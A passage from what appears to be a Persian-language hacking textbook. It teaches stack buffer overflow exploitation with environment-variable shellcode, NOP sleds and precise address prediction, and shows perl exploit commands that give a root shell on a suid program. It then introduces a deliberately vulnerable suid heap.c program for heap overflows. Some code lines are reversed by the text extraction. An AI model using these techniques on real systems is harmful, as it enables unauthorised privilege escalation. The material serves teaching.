‫ ﻟـﺬا‬،‫ ﻓـﻀﺎی ﻧـﺴﺒﺘﺎ ﻣﻨﺎﺳـﺒﯽ اﺳـﺖ‬NOP ‫ ﺑﺎﯾﺖ در ﺳﻮرﺗﻤﻪ‬100 .‫ را اراﺋﻪ دﻫﺪ‬NOP ‫ﺗﺎ آدرس ﻣﮑﺎﻧﯽ واﻗﻊ در ﺳﻮرﺗﻤﻪ‬
.‫ ﺑﻠﮑﻪ ﯾﮏ ﺣﺪس ﺗﻘﺮﯾﺒﯽ ﮐﺎﻓﯽ اﺳﺖ‬،(‫ ﺑﺎﯾﺖ‬16 ‫ﻫﯿﭻ ﻧﯿﺎز ﺑﻪ دﻗﯿﻖ ﺑﻮدن آن آدرس ﻧﯿﺴﺖ )ﯾﻌﻨﯽ اﺿﺎﻓﻪ ﺷﺪن آن‬

36
‫دﯾﺒﺎﮔﺮ آدرس ‪ 0xbffffcf5‬را ﻧﺰدﯾﮏ اﺑﺘﺪای ﺳﻮرﺗﻤﻪ ‪ NOP‬ﻧﺸﺎن داد و ﻣﻌﻠـﻮم ﺷـﺪ ﮐـﻪ ﺷـﻞ‪-‬ﮐـﺪ در ﻣﺘﻐﯿـﺮ ﻣﺤﻠـﯽ‬
‫‪ SHELLCODE‬ذﺧﯿﺮه ﺷﺪه اﺳﺖ‪ .‬ﺑﺎ در اﺧﺘﯿﺎر داﺷﺘﻦ اﯾﻦ اﻃﻼﻋﺎت و اﺳﺘﻔﺎده از ﭘﺮل و ﯾﮏ زوج از ﻋﻼﻣﺖ ﻧﻘﻞ ﻗﻮل‬
‫ﻣﯽ ﺗﻮان ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ را ﺑﻪ ﺻﻮرت زﯾﺮ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮد‪:‬‬
‫'';‪$ ./vuln2 'perl -e 'print "\xf5\xfc\xff\xbf"x10‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫ﻣﺠﺪدا ﺑﺎﯾﺪ ﺳﺮﺣﺪِ ﺑﺎﯾﺖ ﻫﺎﯾﯽ را ﮐﻪ واﻗﻌﺎ در ﺑﺎﻓﺮ ﻧﯿﺎز ﻫـﺴﺘﻨﺪ ﺑـﻪ ﺳـﺮﻋﺖ ﺑﺮرﺳـﯽ ﮐـﺮد‪ .‬آزﻣـﻮن ﻫـﺎ و ﺧﻄﺎﻫـﺎی زﯾـﺮ‬
‫ﮐﻤﺘﺮﯾﻦ ﻣﻘﺪار ﻣﻤﮑﻦ را ﺑﺮای ﺑﺎﻓﺮ ﮐﻪ ﻫﻨﻮز ﺑﺘﻮاﻧﺪ آدرس ﺑﺮﮔﺸﺖ را ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﺪ‪ 32 ،‬ﺑﺎﯾﺖ ﻧﺸﺎن ﻣﯽ دﻫﻨﺪ‪.‬‬
‫‪$ ./vuln2 'perl -e‬‬ ‫'';‪'print "\xf5\xfc\xff\xbf"x10‬‬
‫‪sh-2.05a# exit‬‬
‫‪$ ./vuln2 'perl -e‬‬ ‫'';‪'print "\xf5\xfc\xff\xbf"x9‬‬
‫‪sh-2.05a# exit‬‬
‫‪$ ./vuln2 'perl -e‬‬ ‫'';‪'print "\xf5\xfc\xff\xbf"x8‬‬
‫‪sh-2.05a# exit‬‬
‫‪$ ./vuln2 'perl -e‬‬ ‫'';‪'print "\xf5\xfc\xff\xbf"x7‬‬
‫‪Segmentation fault‬‬
‫‪$‬‬
‫روش دﯾﮕﺮ ﺑﺮای درﯾﺎﻓﺖ آدرس ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎی ﺳﺎده اﺳﺖ‪ .‬اﯾـﻦ ﺑﺮﻧﺎﻣـﻪ ﻣـﯽ ﺗﻮاﻧـﺪ ﺑـﻪ‬
‫ﺳﺎدﮔﯽ از ﺗﺎﺑﻊ )(‪ getenv‬ﺑﺮای ﭘﯿﺪا ﮐﺮدن اوﻟﯿﻦ آرﮔﻮﻣﺎن ﺑﺮﻧﺎﻣﻪ در ﻣﺤﯿﻂ اﺳﺘﻔﺎده ﮐﻨﺪ‪ .‬اﮔﺮ ﺑﺮﻧﺎﻣﻪ آرﮔﻮﻣـﺎن را ﭘﯿـﺪا‬
‫ﮐﻨﺪ‪ ،‬آدرس آﻧﺮا ﭼﺎپ ﺧﻮاﻫﺪ ﮐﺮد و در ﻏﯿﺮ اﯾﻦ ﺻﻮرت ﺑﺎ ﯾﮏ ﭘﯿﺎم وﺿﻌﯿﺘﯽ ﺧﺎرج ﻣﯽ ﺷﻮد‪.‬‬
‫‪getenvaddr.c code‬‬
‫>‪#include <stdlib.h‬‬

‫)][‪int main(int argc, char *argv‬‬


‫{‬
‫;‪char *addr‬‬
‫)‪if(argc < 2‬‬
‫{‬
‫;)]‪printf("Usage:\n%s <environment variable name>\n", argv[0‬‬
‫;)‪exit(0‬‬
‫}‬
‫;)]‪addr = getenv(argv[1‬‬
‫)‪if(addr == NULL‬‬
‫;)]‪printf("The environment variable %s doesn't exist.\n", argv[1‬‬
‫‪else‬‬
‫;)‪printf("%s is located at %p\n", argv[1], addr‬‬
‫;‪return 0‬‬
‫}‬
‫در زﯾﺮ ﻣﺮاﺣﻞ ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ ‪ getenvaddr.c‬را ﺑﻪ ﻣﻨﻈﻮر ﯾﺎﻓﺘﻦ آدرس ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ ‪ SHELLCODE‬ﻣـﯽ‬
‫ﺑﯿﻨﯿﺪ‪:‬‬
‫‪$ gcc -o getenvaddr getenvaddr.c‬‬
‫‪$ ./getenvaddr SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffcec‬‬
‫‪$‬‬
‫آدرس ﺑﺮﮔﺸﺘﯽ ﺑﺮﻧﺎﻣﻪ اﻧﺪﮐﯽ ﺑﺎ ‪ GDB‬ﺗﻔﺎوت دارد‪ ،‬ﺑﻪ اﯾﻦ دﻟﯿﻞ ﮐﻪ زﻣﯿﻨﻪ ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ اﻧـﺪﮐﯽ ﻧـﺴﺒﺖ ﺑـﻪ زﻣـﺎﻧﯽ ﮐـﻪ‬
‫ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ اﺟﺮا ﻣﯽ ﮔﺮدد )ﮐﻪ ﺧﻮد ﺑﺎ زﻣﺎن اﺟﺮای ﺑﺮﻧﺎﻣـﻪ در ‪ GDB‬ﺗﻔـﺎوت دارد( ﺗﻔـﺎوت دارد‪ .‬ﺧﻮﺷـﺒﺨﺘﺎﻧﻪ‪،‬‬
‫‪ 100‬ﺑﺎﯾﺖ ﻣﻮﺟﻮد در ﺳﻮرﺗﻤﻪ ‪ NOP‬ﺑﻪ اﻧﺪازه ای ﮐﺎﻓﯽ اﺳﺖ ﮐﻪ اﺟﺎزه ﺧﻮدﻧﻤﺎﯾﯽ را ﺑﻪ ﭼﻨﯿﻦ ﺗﻨﺎﻗﻀﺎﺗﯽ ﻧﺪﻫﺪ‪.‬‬
‫'';‪$ ./vuln2 'perl -e 'print "\xec\xfc\xff\xbf"x8‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫اﻣﺎ ﻗﺮار دادن ﯾﮏ ﺳﻮرﺗﻤﻪ ‪ NOP‬ﺑﺰرگ در ﺟﻠﻮی ﺷﻞ‪-‬ﮐﺪ ﻣﺎﻧﻨﺪ ﺷﻨﺎ ﺑﺎ ﻟﺒﺎس ﮔﺸﺎد اﺳﺖ! اﮔﺮﭼﻪ ﭘﻮﺳـﺘﻪ رﯾـﺸﻪ ﻇـﺎﻫﺮ‬
‫ﺧﻮاﻫﺪ ﺷﺪ‪ ،‬اﻣﺎ ﻣﻌﻤﻮﻻ ﺗﺼﺎدﻓﯽ اﺳﺖ و آزﻣﻮن ﺧﻄﺎ اﯾﻦ ﻣﺴﺌﻠﻪ را ﻧﺸﺎن ﻧﺨﻮاﻫﺪ داد‪ .‬ﺑـﺎزی ﮐـﺮدن ﺑـﺎ ﻟﺒـﺎس ﮔـﺸﺎد ﮐـﺎر‬

‫‪37‬‬
‫آﻣﺎﺗﻮرﻫﺎﺳﺖ‪ .‬در دﻧﯿﺎی اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﺗﻔﺎوت در داﻧﺴﺘﻦ ﻣﮑﺎن دﻗﯿﻖ ﯾﮏ ﭼﯿـﺰ در ﺣﺎﻓﻈـﻪ و ﺣـﺪس زدن‬
‫آن اﺳﺖ‪.‬‬
‫ﺑﺮای دﻗﯿﻖ ﺣﺪس زدن ﯾﮏ آدرس ﺣﺎﻓﻈﻪ ﺑﺎﯾﺪ ﺗﻔﺎوت ﻫﺎی ﻣﻮﺟﻮد در آدرس ﻫﺎ را ﮐﺸﻒ ﮐﺮد‪ .‬ﺑﻪ ﻧﻈـﺮ ﻣـﯽ رﺳـﺪ ﮐـﻪ‬
‫ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ ی در ﺣﺎل اﺟﺮا در آدرس ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ ﺗﺎﺛﯿﺮ ﮔﺬار اﺳﺖ‪ .‬اﯾﻦ ﺗﺎﺛﯿﺮ را ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻐﯿﯿﺮ ﻧﺎم ﺑﺮﻧﺎﻣﻪ‬
‫راﻫﻨﻤﺎ و اِﻋﻤﺎل آزﻣﻮن و ﺧﻄﺎ ﻫﺮﭼﻪ ﺑﯿﺸﺘﺮ ﮐﺸﻒ ﮐﺮد‪ .‬اﯾﻦ ﻧﻮع از ﻋﻤﻠﯿﺎت آزﻣﻮن و ﺧﻄﺎ و ﺗﺸﺨﯿﺺ اﻟﮕﻮ ﻣﻬﺎرت ﻣﻬﻤﯽ‬
‫ﺑﺮای ﯾﮏ ﻫﮑﺮ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد‪.‬‬
‫‪$ gcc -o a getenvaddr.c‬‬
‫‪$ ./a SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffcfe‬‬
‫‪$ cp a bb‬‬
‫‪$ ./bb SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffcfc‬‬
‫‪$ cp bb ccc‬‬
‫‪$ ./ccc SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffcfa‬‬
‫ﻫﻤﺎﻧﻄﻮر ﮐﻪ آزﻣﺎﯾﺶ ﻗﺒﻠﯽ ﻧﺸﺎن داد‪ ،‬ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ درﺣﺎل اﺟﺮا در ﻣﮑﺎن ﻣﺘﻐﯿﺮﻫـﺎی ﻣﺤﯿﻄـﯽ اﺳـﺘﺨﺮاج ﺷـﺪه ﺗـﺎﺛﯿﺮ‬
‫ﮔﺬار اﺳﺖ‪ .‬روﻧﺪ ﮐﻠﯽ اﯾﻦ ﻃﻮر ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ ﮐﻪ ﺑﺎ اﺿﺎﻓﻪ ﺷﺪن ﻫﺮ ﺑﺎﯾﺖ ﺑﻪ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ‪ 2 ،‬ﺑﺎﯾـﺖ از آدرس ﻣﺘﻐﯿـﺮ‬
‫ﻣﺤﯿﻄﯽ ﮐﻢ ﻣﯽ ﺷﻮد‪ .‬اﯾﻦ ﻣﺴﺌﻠﻪ در راﺑﻄﻪ ﺑﺎ ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﻣﺎ ﯾﻌﻨﯽ ‪ getenvaddr‬ﻧﯿﺰ ﺻﺎدق اﺳﺖ‪ ،‬ﭼﻮن اﺧﺘﻼف ﻃـﻮل ﺑـﯿﻦ‬
‫ﻧﺎم ﻫﺎی ‪) getenvaddr‬ﻧﺎم ﮐﺪ ﻣﻨﺒﻊ( و ﮐﺎراﮐﺘﺮ ‪) a‬ﻧﺎم ﺑﺮﻧﺎﻣـﻪ ﺑـﺎﯾﻨﺮی( ﺑﺮاﺑـﺮ ﺑـﺎ ‪ 9‬ﺑﺎﯾـﺖ و اﺧـﺘﻼف ﺑـﯿﻦ آدرس ﻫـﺎی‬
‫‪ 0xbffffcfe‬و ‪ 0xbffffcec‬ﻧﯿﺰ ‪ 18‬ﺑﺎﯾﺖ اﺳﺖ‪.‬‬
‫ﺑﺎ در اﺧﺘﯿﺎر داﺷﺘﻦ اﯾﻦ ﻧﮑﺎت ﻣﯽ ﺗﻮان ﺑﻪ ﻫﻨﮕﺎم اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ‪ ،‬آدرس دﻗﯿﻖ ﻣﺘﻐﯿـﺮ ﻣﺤﻠـﯽ را ﭘـﯿﺶ ﺑﯿﻨـﯽ‬
‫ﮐﺮد‪ .‬ﯾﻌﻨﯽ ﻣﯽ ﺗﻮان وﺟﻮد ﺳﻮرﺗﻤﻪ ‪ NOP‬را ﺣﺬف ﮐﺮد‪.‬‬
‫'‪$ export SHELLCODE='cat shellcode‬‬
‫‪$ ./getenvaddr SHELLCODE‬‬
‫‪SHELLCODE is located at 0xbffffd50‬‬
‫‪$‬‬
‫ﭼﻮن ﻧﺎم ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ‪ vuln2‬اﺳﺖ ﮐﻪ ‪ 5‬ﺑﺎﯾﺖ ﻃﻮل دارد و ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ ‪ getenvaddr‬اﺳـﺖ ﮐـﻪ ‪ 10‬ﺑﺎﯾـﺖ‬
‫ﻃﻮل دارد‪ ،‬ﻟﺬا در زﻣﺎن اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ‪ ،‬آدرس ﺷﻞ‪-‬ﮐﺪ ‪ 10‬ﺑﺎﯾﺖ ﺑﯿﺸﺘﺮ ﺧﻮاﻫﺪ ﺑﻮد‪ ،‬ﭼﺮا ﮐﻪ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ‬
‫راﻫﻨﻤﺎ ‪ 5‬ﺑﺎﯾﺖ ﺑﯿﺸﺘﺮ از ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ‪ .‬ﺑﺎ اﻧﺪﮐﯽ ﺣﺴﺎب رﯾﺎﺿﯽ ﻣﻌﻠﻮم ﻣﯽ ﺷـﻮد ﮐـﻪ ﻫﻨﮕـﺎم اﺟـﺮای‬
‫ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ‪ ،‬آدرس ﭘﯿﺶ ﺑﯿﻨﯽ ﺷﺪه ی ﺷﻞ‪-‬ﮐﺪ ﺑﺎﯾﺪ ‪ 0xbffffd5a‬ﺑﺎﺷﺪ‪.‬‬
‫'';‪$ ./vuln2 'perl -e 'print "\x5a\xfd\xff\xbf"x8‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫ﭼﻨﯿﻦ دﻗﺘﯽ ﺗﻤﺮﯾﻦ ﻣﻨﺎﺳﺒﯽ ﺑﺮای ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﻧﻮﯾﺲ اﺳﺖ‪ ،‬اﻣﺎ ﻫﻤﯿﺸﻪ ﻧﯿﺎز ﻧﯿﺴﺖ‪ .‬ﺑﺎ اﯾﻦ ﺣﺎل اﻃﻼﻋﺎت ﺑﺪﺳﺖ آﻣـﺪه‬
‫از اﯾﻦ آزﻣﺎﯾﺶ ﻣﯽ ﺗﻮاﻧﺪ ﻣﺎ را در ﻣﺤﺎﺳﺒﻪ ﻃﻮل ﺳﻮرﺗﻤﻪ ‪ NOP‬ﯾﺎری دﻫﺪ‪ .‬ﻣﺎداﻣﯽ ﮐﻪ ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤـﺎ ﺑﺰرﮔﺘـﺮ از ﻧـﺎم‬
‫ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ‪ ،‬آدرس درﯾﺎﻓﺘﯽ از ﺑﺮﻧﺎﻫـﻪ راﻫﻨﻤـﺎ ﻫﻤﯿـﺸﻪ ﺑﺰرﮔﺘـﺮ از آدرس ﺑﺮﮔـﺸﺖ داده ﺷـﺪه در زﻣـﺎن‬
‫اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮاﻧﺪ ﺑﺎ ﻗﺮار دادن ﯾﮏ ﺳﻮرﺗﻤﻪ ‪ NOP‬ﮐﻮﭼﮏ ﻗﺒـﻞ از ﺷـﻞ‪-‬ﮐـﺪ ر ﻣﺘﻐﯿـﺮ‬
‫ﻣﺤﻠﯽ اﯾﻦ ﺗﻔﺎوت ﺟﺰﺋﯽ را رﻓﻊ ﮐﺮد‪.‬‬
‫اﻧﺪازه ﺳﻮرﺗﻤﻪ ‪ NOP‬ﻣﻮرد ﻧﯿﺎز را ﻣﯽ ﺗﻮان ﺑﻪ راﺣﺘﯽ ﻣﺤﺎﺳﺒﻪ ﮐﺮد‪ .‬ﭼﻮن ﻧﺎم ﯾﮏ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﺣﺪاﻗﻞ ﺑﺎﯾـﺪ ﯾـﮏ‬
‫ﮐﺎراﮐﺘﺮ ﺑﺎﺷﺪ‪ ،‬ﺣﺪاﮐﺜﺮ ﺗﻔﺎوت در ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﺑﺮاﺑﺮ ﺑﺎ ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ ﻣﻨﻬﺎی ﯾﮏ ﺧﻮاﻫﺪ ﺑـﻮد‪ .‬در اﯾـﻦ ﻣـﻮرد‬

‫‪38‬‬
‫ﻧﺎم ﺑﺮﻧﺎﻣﻪ راﻫﻨﻤﺎ ‪ getenvaddr‬اﺳﺖ‪ ،‬ﻟﺬا ﻃﻮل ﺳﻮرﺗﻤﻪ ‪ NOP‬ﺑﺎﯾﺪ ‪ 18‬ﺑﺎﯾﺖ ﺑﺎﺷـﺪ‪ ،‬ﭼـﺮا ﮐـﻪ ﺑـﺎ ﻫـﺮ ‪ 1‬ﺑﺎﯾـﺖ ﺗﻔـﺎوت‪،‬‬
‫‪35‬‬
‫آدرس ﺑﻪ ﻣﯿﺰان ‪ 2‬ﺑﺎﯾﺖ ﺗﻨﻈﯿﻢ و ﻣﻨﻄﺒﻖ ﻣﯽ ﺷﻮد‪.‬‬

‫‪ .2,8‬ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ‪ Heap‬و ‪BSS‬‬

‫ﻋﻼوه ﺑﺮ ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ‪ ،‬ﺳﺮرﯾﺰﻫﺎی دﯾﮕﺮی وﺟﻮد دارﻧﺪ ﮐﻪ در ﻗﻄﻌﺎت ﺣﺎﻓﻈـﻪ ای ‪ Heap‬و ‪ BSS‬رخ ﻣـﯽ‬
‫دﻫﻨﺪ‪ .‬اﮔﺮﭼﻪ اﯾﻦ ﻧﻮع ﺳﺮرﯾﺰﻫﺎ ﺑﻪ اﻧﺪازه ﺳﺮرﯾﺰﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﭘﺸﺘﻪ اﺳﺘﺎﻧﺪارد ﺳﺎزی ﻧﺸﺪه اﻧـﺪ‪ ،‬اﻣـﺎ ﺑـﻪ ﻫﻤـﺎن اﻧـﺪازه‬
‫ﻣﻮﺛﺮ ﻫﺴﺘﻨﺪ‪ .‬ﭼﻮن در اﯾﻦ ﺣﺎﻻت ﻫﯿﭻ آدرس ﺑﺮﮔﺸﺘﯽ ﺑﺮای ﺟﺎﯾﻨﻮﯾﺴﯽ وﺟﻮد ﻧﺪارد‪ ،‬ﻟﺬا اﯾﻦ ﻧﻮع ﺳـﺮرﯾﺰﻫﺎ ﻣﺒﺘﻨـﯽ ﺑـﺮ‬
‫ﻣﺘﻐﯿﺮﻫﺎی ﻣﻬﻤﯽ در ﺣﺎﻓﻈﻪ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﻌﺪ از ﯾﮏ ﺑﺎﻓﺮ ﻗﺎﺑﻞ ﺳﺮرﯾﺰ وﺟﻮد دارﻧﺪ‪ .‬اﮔﺮ ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﻬﻢ )ﻣﺜﻼ ﻣﺘﻐﯿـﺮی ﮐـﻪ‬
‫اﻃﻼﻋﺎت ﻣﺠﻮزﻫﺎی ﮐﺎرﺑﺮی ﯾﺎ وﺿﻌﯿﺖ اﻋﺘﺒﺎرﺳﻨﺠﯽ را ﻧﮕﻪ ﻣﯽ دارد( ﺑﻌﺪ از ﯾﮏ ﺑﺎﻓﺮ ﻗﺎﺑـﻞ ﺳـﺮرﯾﺰ ﻣﻮﺟـﻮد ﺑﺎﺷـﺪ‪ ،‬ﻣـﯽ‬
‫ﺗﻮان اﯾﻦ ﻣﺘﻐﯿﺮ را ﺟﻬﺖ درﯾﺎﻓﺖ ﻫﻤﻪ ﻣﺠﻮزﻫﺎ )‪ (full permissions‬ﯾﺎ ﺗﻨﻈﯿﻢ اﻋﺘﺒﺎرﺳﻨﺠﯽ ﻣﻮرد ﻧﻈﺮ ﺳﺮرﯾﺰ ﮐـﺮد‪ .‬ﯾـﺎ‬
‫اﮔﺮ ﯾﮏ اﺷﺎرﮔﺮ ﺗﺎﺑﻊ ﺑﻌﺪ از ﯾﮏ ﺑﺎﻓﺮ ﻗﺎﺑﻞ ﺳﺮرﯾﺰ ﺑﺎﺷﺪ ﻣـﯽ ﺗـﻮان آﻧـﺮا ﺟﺎﯾﻨﻮﯾـﺴﯽ ﮐـﺮد‪ .‬ﺑـﻪ اﯾـﻦ ﺻـﻮرت ﺑـﻪ ﻫﻨﮕـﺎم‬
‫ﻓﺮاﺧﻮاﻧﯽ آن اﺷﺎرﮔﺮ ﺗﺎﺑﻊ‪ ،‬ﺑﺮﻧﺎﻣﻪ آدرس ﺣﺎﻓﻈﻪ ای دﯾﮕﺮی )ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﺷﻞ‪-‬ﮐـﺪ در آﻧﺠـﺎ ﻗـﺮار داﺷـﺘﻪ ﺑﺎﺷـﺪ( را‬
‫ﻓﺮاﺧﻮاﻧﯽ ﺧﻮاﻫﺪ ﮐﺮد‪.‬‬
‫ﭼﻮن اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺳﺮرﯾﺰ در ﻗﻄﻌﺎت ‪ Heap‬و ‪ BSS‬واﺑـﺴﺘﮕﯽ ﺑﯿـﺸﺘﺮی ﺑـﻪ ﻃـﺮح ﺣﺎﻓﻈـﻪ )‪ (memory layout‬در‬
‫ﺑﺮﻧﺎﻣﻪ دارﻧﺪ‪ ،‬ﻟﺬا ﺗﺸﺨﯿﺺ اﯾﻦ ﻧﻮع آﺳﯿﺐ ﭘﺬﯾﺮی ﻫﺎ ﺳﺨﺖ ﺗﺮ اﺳﺖ‪.‬‬

‫‪ .2,8,1‬ﯾﮏ ﻧﻤﻮﻧﻪ ﭘﺎﯾﻪ از ﺳﺮرﯾﺰ ﻣﺒﺘﻨﯽ ﺑﺮ ‪heap‬‬

‫ﺑﺮﻧﺎﻣﻪ زﯾﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﺘﻦ ﻧﮕﺎر ﺳﺎده اﺳﺖ ﮐﻪ در ﺑﺮاﺑﺮ ﯾﮏ ﺳﺮرﯾﺰ ﻣﺒﻨﯽ ﺑﺮ ‪ Heap‬آﺳﯿﺐ ﭘﺬﯾﺮ اﺳﺖ‪ .‬اﯾﻦ ﻣﺜﺎل ﺑﺴﯿﺎر‬
‫ﺳﺎده اﺳﺖ و دﻗﯿﻘﺎ ﺑﻪ ﻫﻤﯿﻦ اﺳﺖ ﮐﻪ آﻧﺮا ﻣﺜﺎل ﻣﯽ ﻧﺎﻣﯿﻢ‪ ،‬ﻧﻪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ واﻗﻌﯽ‪ .‬اﻃﻼﻋﺎت اﺷﮑﺎل زداﯾﯽ ﻧﯿﺰ ﺑﻪ ﮐﺪ اﺿـﺎﻓﻪ‬
‫ﺷﺪه اﻧﺪ‪.‬‬
‫‪heap.c code‬‬
‫>‪#include <stdio.h‬‬
‫>‪#include <stdlib.h‬‬

‫)][‪int main(int argc, char *argv‬‬


‫{‬
‫;‪FILE *fd‬‬

‫‪// Allocating memory on the heap‬‬


‫;)‪char *userinput = malloc(20‬‬
‫;)‪char *outputfile = malloc(20‬‬

‫)‪if(argc < 2‬‬


‫{‬
‫;)]‪printf("Usage: %s <string to be written to /tmp/notes>\n", argv[0‬‬
‫;)‪exit(0‬‬
‫}‬

‫‪// Copy data into heap memory‬‬


‫;)"‪strcpy(outputfile, "/tmp/notes‬‬
‫;)]‪strcpy(userinput, argv[1‬‬

‫‪// Print out some debug messages‬‬


‫;)"‪printf("---DEBUG--\n‬‬
‫;)‪printf("[*] userinput @ %p: %s\n", userinput, userinput‬‬

‫‪35‬‬
‫‪(10 -1) * 2 = 18‬‬
‫‪39‬‬
printf("[*] outputfile @ %p: %s\n", outputfile, outputfile);
printf("[*] distance between: %d\n", outputfile - userinput);
printf("----------\n\n");

// Writing the data out to the file.


printf("Writing to \"%s\" to the end of %s...\n", userinput, outputfile);
fd = fopen(outputfile, "a");
if (fd == NULL)
{
fprintf(stderr, "error opening %s\n", outputfile);
exit(1);
}
fprintf(fd, "%s\n", userinput);
fclose(fd);

return 0;
}
:‫ و اﺟﺮا ﺷﺪن آﻧﺮا ﻧﺸﺎن ﻣﯽ دﻫﺪ‬suid ‫ ﺗﻨﻈﯿﻢ ﺷﺪن ﺑﻪ ﺻﻮرت‬،‫ﺧﺮوﺟﯽ زﯾﺮ ﻓﺮآﯾﻨﺪ ﮐﺎﻣﭙﺎﯾﻞ‬
$ gcc -o heap heap.c
$ sudo chown root.root heap
$ sudo chmod u+s heap
$
$ ./heap testing
---DEBUG--
[*] userinput @ 0x80498d0: testing
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24
----------

Writing to "testing" to the end of /tmp/notes...


$ cat /tmp/notes
testing
$ ./heap more_stuff
---DEBUG--
[*] userinput @ 0x80498d0: more_stuff
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24

----------

Writing to "more_stuff" to the end of /tmp/notes...


$ cat /tmp/notes
testing
more_stuff
$
‫اﯾﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﺴﺒﺘﺎ ﺳﺎده اﺳﺖ ﮐﻪ ﯾﮏ آرﮔﻮﻣﺎن واﺣـﺪ )ﺑـﻪ ﻋﻨـﻮان رﺷـﺘﻪ( را ﮔﺮﻓﺘـﻪ و ﺳـﭙﺲ آن رﺷـﺘﻪ را ﺑـﻪ ﻓﺎﯾـﻞ‬
‫ روی‬outputfile ‫ ﻗﺒـﻞ از ﻣﺘﻐﯿـﺮ‬userinput ‫ ﻧﮑﺘﻪ ﻗﺎﺑﻞ ذﮐﺮ اﯾﻦ اﺳـﺖ ﮐـﻪ ﺣﺎﻓﻈـﻪ ﻣﺘﻐﯿـﺮ‬.‫ اﺿﺎﻓﻪ ﻣﯿﮑﻨﺪ‬/tmp/notes
‫ ﻣـﺸﻬﻮد‬.‫ ﺧﺮوﺟﯽ اﺷﮑﺎل زداﯾﯽ از ﺑﺮﻧﺎﻣﻪ ﻣﺎ را در روﺷﻦ ﮐﺮدن اﯾﻦ ﻣﻮﺿﻮع ﯾﺎری ﻣﯽ دﻫـﺪ‬.‫ ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ اﺳﺖ‬heap
.‫ واﻗـﻊ ﺷـﺪه اﺳـﺖ‬0x80498e8 ‫ در آدرس‬outputfile ‫ و ﺑـﺎﻓﺮ‬0x80498d0 ‫ در آدرس‬userinput ‫اﺳﺖ ﮐـﻪ ﺑـﺎﻓﺮ‬
‫ ﻟﺬا ﺑﯿﺸﺘﺮﯾﻦ ﻣﻘﺪار داده‬،‫ ﭼﻮن اوﻟﯿﻦ ﺑﺎﻓﺮ ﺑﺎ ﮐﺎراﮐﺘﺮ ﭘﻮچ ﭘﺎﯾﺎن ﯾﺎﻓﺘﻪ اﺳﺖ‬.‫ ﺑﺎﯾﺖ ﻣﯽ ﺑﺎﺷﺪ‬24 ‫ﻓﺎﺻﻠﻪ ﺑﯿﻦ اﯾﻦ دو آدرس‬
